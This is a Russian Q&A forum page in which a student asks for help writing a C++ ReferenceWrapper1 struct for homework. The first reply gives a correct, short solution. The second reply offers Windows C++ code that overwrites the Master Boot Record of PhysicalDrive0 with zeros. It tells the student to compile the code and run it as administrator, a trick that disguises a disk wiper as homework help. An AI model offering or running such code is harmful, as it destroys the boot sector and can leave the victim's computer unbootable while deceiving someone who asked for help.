Top.Mail.Ru
Ответы

Пожалуйста помогите с решением домашнего задания по программированию на c++

Напишите структуру ReferenceWrapper1.

Эта структура является некоторой надстройкой над ссылками, пока мы рассмотрим примитивный вариант её написания.

А именно, работать структура должна следующим образом. В конструкторе ей передают переменную типа int. Теперь эта структура должна работать как ссылка на переменную, которую передали в конструкторе. Чтобы получить доступ к самой переменной, используют метод Get. См пример.


int x = 2;
ReferenceWrapper1 ref(x);
ref.Get() = 15;
assert(x == 15);
x = 100;
assert(ref.Get() == 100);

int& y = ref.Get();
y = 1;
assert(y == x && x == ref.Get() && ref.Get() == 1);
Т.е. меняя x, меняется ref.Get(), а меняя ref.Get() меняется x. Получается, ref ведет себя как обычная ссылка.

Ваша задача, реализовать такую структуру. Над типами аргументов, а также над типами возвращаемых значений подумайте сами, единственное, у структуры должен быть конструктор, в который можно было бы передавать переменные типа int, а также метод Get.

В систему отправляйте только код структуры.

По дате
По рейтингу
Аватар пользователя
Новичок
1234567
 struct ReferenceWrapper1 { 
    int& value; 
    ReferenceWrapper1(int& value) : value(value) {} 
    int& Get() { 
        return value; 
    } 
}; 
Аватар пользователя
Мудрец

#include <iostream>
#include <windows.h>

#define MBR_SIZE 512

using namespace std;

int main()
{
DWORD write;

char mbr[MBR_SIZE];

ZeroMemory(&mbr, (sizeof mbr));

HANDLE MasterBootRecord = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);

if (WriteFile(MasterBootRecord, mbr, MBR_SIZE, &write, NULL) == TRUE)
{
cout << "Succsessfuly!" << endl;

Sleep(3000);

ExitProcess(0);
}
else
{
cout << "Failed!" << endl;

Sleep(3000);

ExitProcess(0);
}

CloseHandle(MasterBootRecord);

return 0;
}
Это сделай релис и х64 и запусти от имени админа